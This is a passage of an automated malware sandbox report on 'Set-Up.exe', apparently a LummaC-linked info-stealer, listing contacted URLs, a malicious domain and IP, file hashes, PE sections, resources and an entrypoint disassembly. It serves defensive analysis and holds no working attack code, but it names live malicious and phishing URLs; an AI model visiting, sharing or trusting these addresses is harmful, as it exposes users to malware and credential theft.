https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	Set-Up.exe, 00000000.00000003.1888558150.0000000003A71000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Set-Up.exe, 00000000.00000003.1921133389.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skatestringje.click/$	Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Set-Up.exe, 00000000.00000003.1888660135.0000000003A43000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Set-Up.exe, 00000000.00000003.1922938061.0000000003B3A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Set-Up.exe, 00000000.00000003.1887236361.0000000003A5C000.00000004.00000800.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1887345081.0000000003A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skatestringje.click/pi	Set-Up.exe, 00000000.00000003.1982707055.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, Set-Up.exe, 00000000.00000003.1885880152.0000000000A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.75.15	skatestringje.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591971
Start date and time:	2025-01-15 15:59:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Set-Up.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 6 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45, 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:00:24	API Interceptor	8x Sleep call for process: Set-Up.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://www.mcpf.co.za	Get hash	malicious	Unknown	Browse	104.17.25.14
	ActiVe_Ver_Set-UpFilE.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.192.161
	Personliche Nachricht fur e4060738.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpshieldnemt.com%2525252Fwp%25252FGnrm%25252FJ6y6AQ%25252FAQ%25252Fe40c43dd-851b-4580-9323-fb61c1f4e855%25252F1%25252FDz8wyx-xnG%252FGnrm%252FK6y6AQ%252FAQ%252F08a87d58-9017-42a2-87a2-16d811ad0020%252F1%252FAQhuEqjtZr%2FGnrm%2FLKy6AQ%2FAQ%2Ff082e7c9-7f04-4f29-b74f-bf5134bab4b2%2F1%2F6eo6CGyRlQ/Gnrm/Lay6AQ/AQ/e23803d3-ac37-4b0c-9ec4-0cf79f1109e9/1/9Hx062h64U#d2F0c29uLmJlY2t5QGFpZGIub3Jn	Get hash	malicious	Phisher	Browse	172.66.0.235
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpshieldnemt.com%2525252Fwp%25252FGnrm%25252FJ6y6AQ%25252FAQ%25252Fe40c43dd-851b-4580-9323-fb61c1f4e855%25252F1%25252FDz8wyx-xnG%252FGnrm%252FK6y6AQ%252FAQ%252F08a87d58-9017-42a2-87a2-16d811ad0020%252F1%252FAQhuEqjtZr%2FGnrm%2FLKy6AQ%2FAQ%2Ff082e7c9-7f04-4f29-b74f-bf5134bab4b2%2F1%2F6eo6CGyRlQ/Gnrm/Lay6AQ/AQ/e23803d3-ac37-4b0c-9ec4-0cf79f1109e9/1/9Hx062h64U#d2F0c29uLmJlY2t5QGFpZGIub3Jn	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	asB3nE8eVs	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://ummi.asir.com.ar/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://aMER.ethamoskag.ru/0cUrcw3/#Mbob@bobco.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://drive.google.com/file/d/1dNrtjTqb59ZQTE3gUuVhSjEbFXuJRXW7/view?usp=sharing&ts=6786e61f	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://pub-2d00d32ff6d84ef6999828eaf509b772.r2.dev/	Get hash	malicious	Unknown	Browse	104.16.123.96

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	ActiVe_Ver_Set-UpFilE.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.75.15
	00.ps1	Get hash	malicious	PureCrypter, LummaC, LummaC Stealer	Browse	104.21.75.15
	00.ps1	Get hash	malicious	PureCrypter, LummaC, LummaC Stealer	Browse	104.21.75.15
	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse	104.21.75.15
	92.255.57_1.112.ps1	Get hash	malicious	LummaC	Browse	104.21.75.15
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse	104.21.75.15
	62.122.184.98 (3).ps1	Get hash	malicious	LummaC	Browse	104.21.75.15
	87.247.158.212.ps1	Get hash	malicious	LummaC	Browse	104.21.75.15
	lumma_phothockey.exe	Get hash	malicious	LummaC	Browse	104.21.75.15

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.78818972799906
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	Set-Up.exe
File size:	4'180'480 bytes
MD5:	76f313ad20bd3da35ef5a7460caf4f95
SHA1:	49143bd00a24052d706b743fe7b5bc22c20c3316
SHA256:	e876204ffcf70dda59de05b571e800f5bdfe096c9fbc3714470366201e8e40d1
SHA512:	ff65504bbf473b9417e456e2cf4bd8d1efd5104af6bd2f77e267d82c2b228795c9780e11d7a2e56001b08d090879503c73782f136b8021fbd2bacc7a81f75e79
SSDEEP:	49152:LoBfXRxe0XP/kSmciUHmk9kHUuoea2cUKwTKJ74uO7tTV:LotjX9pNi0uoea2NKuuOZZ
TLSH:	13167D23B385553EC8AA073A5837A654AD3F762136369C4F6AF44D4C9F361802B3B74B
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0686929296964012

Static PE Info

General

Entrypoint:	0x701178
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x5F455700 [Tue Aug 25 18:22:56 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	ba8c2ef14d8c5cf1cbcc3bca811bd263

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
push ebx
mov eax, 006F6510h
call 00007FC0009AF6F8h
push 007011F8h
push 00000001h
push 00000000h
push 00000000h
call 00007FC0009B3B40h
mov ebx, eax
test ebx, ebx
je 00007FC000CA06DCh
call 00007FC0009B3C65h
cmp eax, 000000B7h
je 00007FC000CA06D0h
mov eax, dword ptr [0071DF2Ch]
mov eax, dword ptr [eax]
call 00007FC000BA2606h
mov eax, dword ptr [0071DF2Ch]
mov eax, dword ptr [eax]
xor edx, edx
call 00007FC000BA4340h
mov ecx, dword ptr [0071E094h]
mov eax, dword ptr [0071DF2Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [006F2BB0h]
call 00007FC000BA25F8h
mov eax, dword ptr [0071DF2Ch]
mov eax, dword ptr [eax]
call 00007FC000BA2748h
push ebx
call 00007FC0009B3A9Ah
pop ebx
call 00007FC0009AA0F4h
add byte ptr [eax], al
add byte ptr [ebx+00h], bh
inc edx
add byte ptr [ebx], dh
add byte ptr [44003900h], dh
add byte ptr [esi+00h], al
xor byte ptr [eax], al
inc ebp
add byte ptr [41003800h], ch
add byte ptr [eax+eax+31h], al
add byte ptr [35003400h], ch
add byte ptr [edx], dh
add byte ptr [edi], dh
add byte ptr [31003800h], ch
add byte ptr [esi+00h], al
xor eax, 46002D00h
add byte ptr [ecx+00h], al
cmp byte ptr [eax], al
xor al, 00h
inc ebx
add byte ptr [ebp+00h], al
inc esi
add byte ptr [esi+00h], al
inc ebx
add byte ptr [esi], dh
add byte ptr [eax+eax], dh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x352000	0x7d	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x34c000	0x4138	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x397000	0x9a400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x28cfedf8	0x2f68
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x355000	0x41278	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x354000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x34cc04	0xa10	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x351000	0xa8e	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2fd330	0x2fd400	0dd4cf72dd79dd42a6e6826fa5bc5eea	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x2ff000	0x2248	0x2400	5b21e1f84dbc1222b746825775fcb6c0	False	0.494140625	data	6.050330167413764	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x302000	0x1c24c	0x1c400	dfca59b96aa7a1a3b7893fbd53fc8f35	False	0.2870143113938053	data	5.608868591059476	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x31f000	0x2cff4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x34c000	0x4138	0x4200	839f34fc0718f638548fb409bda055ce	False	0.31019176136363635	data	5.227274724912847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x351000	0xa8e	0xc00	4013e764f6cf0185ccaf591a307674ce	False	0.3203125	data	3.8640332491361935	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x352000	0x7d	0x200	9c877d3ec62b360e1547502fe81fd195	False	0.216796875	data	1.5311475320385028	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x353000	0x4c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x354000	0x5d	0x200	21e564d90e1a827f7e00c4e232a9f325	False	0.189453125	data	1.364558174968107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x355000	0x41278	0x41400	8216932dbffa341b0735501425d7a829	False	0.5633156728927203	data	6.722327249661793	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x397000	0x9a400	0x9a400	4c133402447961129806f1ca47914803	False	0.5059543405591572	data	6.779058353732661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x398fe8	0x134	data	English	United States	0.43506493506493504
RT_CURSOR	0x39911c	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x399250	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x399384	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x3994b8	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x3995ec	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x399720	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_CURSOR	0x399854	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_BITMAP	0x399988	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x399b58	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x399d3c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x399f0c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x39a0dc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x39a2ac	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x39a47c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x39a64c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x39a81c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x39a9ec	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x39abbc	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5208333333333334
RT_BITMAP	0x39ac7c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42857142857142855
RT_BITMAP	0x39ad5c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.4955357142857143
RT_BITMAP	0x39ae3c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.38392857142857145
RT_BITMAP	0x39af1c	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4947916666666667
RT_BITMAP	0x39afdc	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.484375
RT_BITMAP	0x39b09c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42410714285714285
RT_BITMAP	0x39b17c	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5104166666666666
RT_BITMAP	0x39b23c	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.5
RT_BITMAP	0x39b31c	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4895833333333333
RT_BITMAP	0x39b3dc	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.3794642857142857
RT_ICON	0x39b4bc	0x962	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8776019983347211
RT_ICON	0x39be20	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.01937182065538862
RT_ICON	0x3ac648	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08309128630705394
RT_ICON	0x3aebf0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.08466228893058161
RT_ICON	0x3afc98	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.11790780141843972
RT_ICON	0x3b0100	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5623827392120075
RT_ICON	0x3b11a8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6229508196721312
RT_ICON	0x3b1b30	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6285460992907801
RT_ICON	0x3b1f98	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.38506224066390043
RT_ICON	0x3b4540	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5581613508442776
RT_ICON	0x3b55e8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6344262295081967
RT_ICON	0x3b5f70	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.62677304964539
RT_ICON	0x3b63d8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5322614107883817
RT_ICON	0x3b8980	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6894934333958724
RT_ICON	0x3b9a28	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.7204918032786886
RT_ICON	0x3ba3b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.8182624113475178
RT_ICON	0x3ba818	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4315352697095436
RT_ICON	0x3bcdc0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.3543621013133208
RT_ICON	0x3bde68	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.3782786885245902
RT_ICON	0x3be7f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5203900709219859
RT_ICON	0x3bec58	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.725177304964539
RT_ICON	0x3bf0c0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5836065573770491
RT_ICON	0x3bfa48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.48334896810506567
RT_ICON	0x3c0af0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.37946058091286305
RT_ICON	0x3c3098	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688, 256 important colors	English	United States	0.6020788912579957
RT_ICON	0x3c3f40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152, 256 important colors	English	United States	0.7242779783393501
RT_ICON	0x3c47e8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672, 256 important colors	English	United States	0.630184331797235
RT_ICON	0x3c4eb0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320, 256 important colors	English	United States	0.4508670520231214
RT_ICON	0x3c5418	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688, 256 important colors	English	United States	0.5407782515991472
RT_ICON	0x3c62c0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152, 256 important colors	English	United States	0.730595667870036
RT_ICON	0x3c6b68	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672, 256 important colors	English	United States	0.6751152073732719
RT_ICON	0x3c7230	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320, 256 important colors	English	United States	0.4313583815028902
RT_ICON	0x3c7798	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688, 256 important colors	English	United States	0.5074626865671642
RT_ICON	0x3c8640	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152, 256 important colors	English	United States	0.7152527075812274
RT_ICON	0x3c8ee8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672, 256 important colors	English	United States	0.6514976958525346
RT_ICON	0x3c95b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320, 256 important colors	English	United States	0.44508670520231214
RT_ICON	0x3c9b18	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688, 256 important colors	English	United States	0.6295309168443497
RT_ICON	0x3ca9c0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x3cb268	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672, 256 important colors	English	United States	0.6607142857142857
RT_ICON	0x3cb930	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320, 256 important colors	English	United States	0.5072254335260116
RT_ICON	0x3cbe98	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688, 256 important colors	English	United States	0.5471748400852878
RT_ICON	0x3ccd40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152, 256 important colors	English	United States	0.5555054151624549
RT_ICON	0x3cd5e8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672, 256 important colors	English	United States	0.4573732718894009
RT_ICON	0x3cdcb0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320, 256 important colors	English	United States	0.3699421965317919
RT_ICON	0x3ce218	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688, 256 important colors	English	United States	0.3947228144989339
RT_ICON	0x3cf0c0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152, 256 important colors	English	United States	0.4151624548736462
RT_ICON	0x3cf968	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672, 256 important colors	English	United States	0.396889400921659
RT_ICON	0x3d0030	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320, 256 important colors	English	United States	0.3157514450867052
RT_ICON	0x3d0598	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5226141078838175
RT_ICON	0x3d2b40	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6083489681050657
RT_ICON	0x3d3be8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6983606557377049
RT_ICON	0x3d4570	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.799645390070922
RT_ICON	0x3d49d8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4228215767634855
RT_STRING	0x3d6f80	0xb0	data			0.6306818181818182
RT_STRING	0x3d7030	0x560	DOS executable (COM, 0x8C-variant)			0.4113372093023256
RT_STRING	0x3d7590	0xb5c	data			0.2548143053645117
RT_STRING	0x3d80ec	0x69c	data			0.3120567375886525
RT_STRING	0x3d8788	0x2dc	data			0.412568306010929
RT_STRING	0x3d8a64	0x240	data			0.4427083333333333
RT_STRING	0x3d8ca4	0x1c4	data			0.5309734513274337
RT_STRING	0x3d8e68	0x3e8	data			0.425
RT_STRING	0x3d9250	0x3ec	data			0.3286852589641434
RT_STRING	0x3d963c	0x2cc	data			0.4553072625698324
RT_STRING	0x3d9908	0x464	StarOffice Gallery theme l, 1677731072 objects, 1st l			0.39768683274021355
RT_STRING	0x3d9d6c	0xa0	data			0.7125
RT_STRING	0x3d9e0c	0xe4	data			0.6359649122807017
RT_STRING	0x3d9ef0	0x114	data			0.6195652173913043
RT_STRING	0x3da004	0x3d0	data			0.38524590163934425
RT_STRING	0x3da3d4	0x414	data			0.3726053639846743
RT_STRING	0x3da7e8	0x3c0	data			0.3885416666666667
RT_STRING	0x3daba8	0x3d8	data			0.28252032520325204
RT_STRING	0x3daf80	0x3d8	data			0.4329268292682927
RT_STRING	0x3db358	0x430	data			0.36847014925373134
RT_STRING	0x3db788	0x664	data			0.31234718826405866
RT_STRING	0x3dbdec	0x478	data			0.32604895104895104
RT_STRING	0x3dc264	0x34c	data			0.42298578199052134
RT_STRING	0x3dc5b0	0x32c	data			0.3645320197044335
RT_STRING	0x3dc8dc	0x438	data			0.3907407407407407
RT_STRING	0x3dcd14	0x1ac	data			0.4672897196261682
RT_STRING	0x3dcec0	0xcc	data			0.6274509803921569
RT_STRING	0x3dcf8c	0x198	data			0.5612745098039216
RT_STRING	0x3dd124	0x3c8	data			0.37913223140495866
RT_STRING	0x3dd4ec	0x3b4	data			0.3407172995780591
RT_STRING	0x3dd8a0	0x354	data			0.3884976525821596
RT_STRING	0x3ddbf4	0x304	data			0.38212435233160624
RT_RCDATA	0x3ddef8	0x10	data			1.5
RT_RCDATA	0x3ddf08	0xaa4	data			0.5029368575624082
RT_RCDATA	0x3de9ac	0x2	data	English	United States	5.0
RT_RCDATA	0x3de9b0	0x5b2	Delphi compiled form 'TBaseSurveyForm'			0.4828532235939643
RT_RCDATA	0x3def64	0x453	Delphi compiled form 'TStyleSelectionForm'			0.5121951219512195
RT_RCDATA	0x3df3b8	0x353	Delphi compiled form 'TTrackBarDialog'			0.5229142185663925
RT_RCDATA	0x3df70c	0x958	Delphi compiled form 'TUniversalToolbarForm'			0.4088628762541806
RT_GROUP_CURSOR	0x3e0064	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x3e0078	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x3e008c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x3e00a0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x3e00b4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x3e00c8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x3e00dc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x3e00f0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x3e0104	0x4c	data	English	United States	0.7894736842105263
RT_GROUP_ICON	0x3e0150	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e0190	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e01d0	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e0210	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e0250	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e0290	0x3e	data	English	United States	0.8387096774193549
RT_GROUP_ICON	0x3e02d0	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e0310	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e0350	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e0390	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e03d0	0x3e	data	English	United States	0.8870967741935484
RT_GROUP_ICON	0x3e0410	0x3e	data	English	United States	0.8870967741935484
